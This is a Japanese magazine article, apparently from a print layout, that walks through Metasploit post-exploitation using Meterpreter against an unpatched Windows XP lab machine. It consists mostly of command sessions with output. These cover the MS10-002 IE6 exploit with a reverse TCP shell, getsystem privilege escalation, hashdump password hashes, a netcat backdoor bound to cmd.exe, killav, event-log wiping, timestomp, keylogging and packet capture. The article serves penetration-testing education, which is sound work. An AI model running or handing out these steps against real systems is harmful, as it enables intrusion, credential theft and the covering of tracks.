Transcript

146

 攻撃者(ペネトレーション・テスター)にとってターゲットシステムを Exploit(コマンドシェルを奪取)することが最終目的ではない。Metasploit開発チームの1人 Carlos Perez 氏の言葉を借りれば ”Shell is Only the Beginning”「シェルは始まりに過ぎない」のである。 Exploit を 成 功 さ せ た 後 の 行 動 は Post-Exploitation と呼ばれ、Metasploit においてはMeterpreter というペイロードによって実現されている。Meterpreter は以下のような特徴を持つ。Exploit したプロセスに自身を DLL としてインジェクションすることにより新しいプロセスを作

成しない。Exploit したプロセスから既存の他のプロセスに乗り移ることが可能。メモリ上のみで実行されディスクにアクセスしない。TLSv1 での暗号化された通信を使用。初期状態では最低限の機能のみが送り込まれ、他の機能は必要に応じてネットワークからロードされる、などだ。また、権限昇格、ファイルのアップロード・ダウンロード、プログラムの実行、パスワード・ハッシュの取得、スクリーンキャプチャー、キーロガー、パケットスニッファー、WebCam での録画、マイクでの録音、イベントログの削除、ファイルのタイムスタンプ改ざんなど多数の機能を持ち、スクリプトによるカスタマイズも可能だ。

ターゲットに侵入することがゴールではない。侵入してから何をするのか? が重要だ。ここではMeterpreterというペイロードを使い、ターゲットのマシンの権限を奪った後にいったいどんなことができるのか紹介したい。

Metasploit   Post-Exploitation

ターゲットマシンを自在に操る

による

※ パッチを適用していない Windows XP SP3、ブラウザーは IE6 を使用している

Metasploitで侵入した後に

文●北河拓士

1

 実際に Meterpreter による Post-Exploitationを見ていこう。今回はターゲットを Windows XP

とし、ブラウザーの脆弱性を利用した受動的攻撃を仕掛けることとする※。

Meterpreterを使ってターゲットマシンを自由自在に操る

msf > use exploit/windows/browser/ms10 _ 002 _ aurora ← Exploitの指定msf exploit(ms10 _ 002 _ aurora) > set PAYLOADwindows/meterpreter/reverse _ tcp ←ペイロードの指定PAYLOAD => windows/meterpreter/reverse _ tcpmsf exploit(ms10 _ 002 _ aurora) > set LHOST 192.168.0.1 ←ローカルホストの指定LHOST => 192.168.0.1msf exploit(ms10 _ 002 _ aurora) > exploit ← Exploitの指定[*] Exploit running as background job.

[*] Started reverse handler on 192.168.0.1:4444[*] Using URL: http://0.0.0.0:8080/r0uYO21c0V[*] Local IP: http://127.0.0.1:8080/r0uYO21c0V[*] Server started. ←ターゲットホストの IE6で URLにアクセスmsf exploit(ms10 _ 002 _ aurora) > [*] Sending Internet Explorer "Aurora"Memory Corruption to client 192.168.0.3

147

攻撃コード実行 の2PART

[*] Sending stage (749056 bytes) to 192.168.0.3[*] Meterpreter session 1 opened (192.168.0.1:4444 ->192.168.0.3:1034) at Tue Dec 28 19:32:54 +0900 2010

msf exploit(ms10 _ 002 _ aurora) > sessions -i 1 ←セッションをインタラクティブに[*] Starting interaction with 1...meterpreter >

まず Exploit として Google への攻撃(オーロラ攻撃)にも使用された IE6 の脆弱性(MS10-002)を用い、Meterpreter のシェルを獲得する

sysinfo コマンドで、ターゲットの OS などのシステム情報を取得、ipconfig コマンドでネットワーク・インターフェイス情報を知ることができる

IE の脆弱性を用いた Exploit を使用したため Meterpreter は IE のプロセスにインジェクションされている。このままではユーザーがもし IE を終了させたらセッションが切断されてしまうので、別の安定したプロセスに乗り移ることとする。getpid で自身の pid を確認、ps コマンドでプロセスの一覧を取得し、乗り移る先のプロセス(explorer.exe)の pid を確認する。migrate コマンドで乗り移る pid を指定した後、再度 pidを確認すると IE から explorer.exe への乗り移りが成功したことがわかる

help コマンドでコマンドの一覧と概要が表示される。すべてのコマンドを誌面で紹介することはできないので、help を参照してどのようなコマンドがあるかをチェックしてほしい

2

3

4

meterpreter > help ←ヘルプの出力Core Commands============= Command Description ------- ----------- Help menu background Backgrounds the current session(以下略)

meterpreter > sysinfo ←システム情報取得Computer VICTIMOS Windows XP (Build 2600, Service Pack 3).Arch x86Language ja_JPmeterpreter > ipconfig ←ネットワーク情報取得

MS TCP Loopback interfaceHardware MAC: 00:00:00:00:00:00IP Address : 127.0.0.1Netmask : 255.0.0.0

AMD PCNET Family PCI Ethernet Adapter - パケット スケジューラ ミニポートHardware MAC: 00:0c:29:75:7a:d5IP Address : 192.168.0.3Netmask : 255.255.255.0

meterpreter > ps ←プロセス一覧取得Process list============ PID Name Arch Session User Path --- ---- ---- ------- ---- ---- 0 [System Process](中略) 1692 explorer.exe x86 0 VICTIMsuzuki C:¥WINDOWS¥Explorer.EXE((中略)) 716 IEXPLORE.EXE x86 0 VICTIMsuzuki C:¥Program Files¥Internet Explorer¥iexplore.exemeterpreter > getpid ←プロセス IDの確認 IEXPLORE.EXECurrent pid 716meterpreter > migrate 1692 ← explorer.exeにプロセスを乗り移る[*] Migrating to 1692...[*] Migration completed successfully.meterpreter > getpid ←プロセス IDの確認 explorer.exeのプロセス IDに変わったCurrent pid 1692

148

9

5

meterpreter > shell ←コマンドプロンプトの起動Process 1428 created.Channel 7 created.Microsoft Windows XP [Version 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.

meterpreter > getuid ←ユーザーの確認Server username VICTIMsuzukimeterpreter > getprivs ←有効な特権の確認============================================================Enabled Process Privileges============================================================ SeShutdownPrivilege SeChangeNotifyPrivilege SeUndockPrivilege

getuid でプロセスのユーザー、getpriv で現在有効な特権を確認すると現在のユーザーが制限ユーザーであることがわかる。制限ユーザーではできることが限られるため、より高い権限に権限昇格を試みる

複数の権限昇格方法を試行してくれる getsystem コマンドにより権限昇格を行う。コマンドが成功した後、ユーザーおよび特権を確認すると SYSTEM に権限昇格したことがわかる

SYSTEM 権限が取得できたため hashdump コマンドによりパスワード・ハッシュの取得を行う。手に入れたパスワード・ハッシュは John the Ripper などを用いて解析を行う

ファイルのダウンロード、アップロードを行う。また、timestomp コマンドによりアップロードしたファイルのタイムスタンプを変更する

Windows のコマンドプロンプトを起動するには shell コマンドを用いる

6

7

8

meterpreter > getsystem ←権限昇格 オプションなしでは複数の方法を試行する...got system (via technique 4).meterpreter > getuid ←ユーザーの確認Server username NT AUTHORITYSYSTEMmeterpreter > getprivs ←有効な特権の確認============================================================Enabled Process Privileges============================================================ SeDebugPrivilege SeTcbPrivilege SeCreateTokenPrivilege SeAssignPrimaryTokenPrivilege SeLockMemoryPrivilege (以下略)

meterpreter > hashdump ←パスワードハッシュの取得Administrator:500:9ca6432f402b3e4726f8092a33daaf05:0110adc3eadbdcedbfa8496e6f6df5a0:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::(以下略)

meterpreter > cd c:¥ ←カレントディレクトリの変更meterpreter > download boot.ini ←ファイルのダウンロード[*] downloading: boot.ini -> boot.ini[*] downloaded : boot.ini -> boot.inimeterpreter > upload eicar.com ←ファイルのアップロード[*] uploading : eicar.com -> eicar.com[*] uploaded : eicar.com -> eicar.commeterpreter > timestomp eicar.com -z "01/01/2005 00:00:00" ←ファイルのタイムスタンプ変更01/01/2005 00:00:00[*] Setting specific MACE attributes on eicar.com

149

攻撃コード実行 の2PART

execute コマンドで任意のプログラムを起動することができる。ここでは netcat をアップロードしバックドアとして起動する

screenshot コマンドでスクリーンショットを取得する。Metasploit を実行しているマシンで自動的にブラウザーが起動され jpeg ファイルが表示される

非常に多くのスクリプトが提供されているのですべては紹介できないが、これはその一部だ。あらかじめ用意されているスクリプトを実行するだけでなく、自分でカスタムのスクリプトを作成することも可能だ

run と入 力し Tab を 3 回押すと実行可能な Meterpreter スクリプトの 一覧が表示される

clearev コマンドでイベントログの削除を行う

10

11

12

14

13

meterpreter > upload nc.exe ← netcatのアップロード[*] uploading : nc.exe -> nc.exe[*] uploaded : nc.exe -> nc.exemeterpreter > execute -f "nc.exe -l -p 8443 -e cmd.exe -d” -H ↑netcatをバックドアとして起動Process 1800 created.

meterpreter > screenshot ←スクリーンショットの取得Screenshot saved to optmetasploit3msf3datamaCGHBZA.jpeg

meterpreter > clearev ←イベントログの削除[*] Wiping 333 records from Application...[*] Wiping 552 records from System...[*] Wiping 16 records from Security...

meterpreter > run checkvm ←仮想環境かをチェックする[*] Checking if target is a Virtual Machine .....[*] This is a VMware Virtual Machinemeterpreter > run killav ←アンチウイルスを停止する[*] Killing Antivirus services on the target...meterpreter > run getgui -e ←リモートデスクトップを有効にする[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator[*] Carlos Perez carlos _ [email protected][*] Enabling Remote Desktop[*] RDP is disabled; enabling it ...[*] Setting Terminal Services service startup mode[*] The Terminal Services service is not set to auto, changing it to auto ...[*] Opening port in local firewall if necessary[*] For cleanup use command: run multi _ console _ command -rc /root/.msf3/logs/scripts/getgui/clean _up _ _ 20101231.1118.rcmeterpreter > run keylogrecorder ←キーロガーの実行[*] Starting the keystroke sniffer...[*] Keystrokes being saved in to /root/.msf3/logs/scripts/keylogrecorder/192.168.0.3 _ 20101231.1138.txt[*] Recording^C[*] Saving last few keystrokes

[*] Interrupt[*] Stopping keystroke sniffer...meterpreter > run packetrecorder -i 1      ←パケットキャプチャーの実行[*] Starting Packet capture on interface 1[+] Packet capture started[*] Packets being saved in to /root/.msf3/logs/scripts/packetrecorder/VICTIM _ 20101231.1224/VICTIM _ 20101231.1224.cap[*] Packet capture interval is 30 Seconds^C[*] Interrupt[+] Stopping Packet sniffer...meterpreter >

meterpreter > run ←スクリーンショットの取得run arp _ scanner run multi _ meter _ inject(以下略)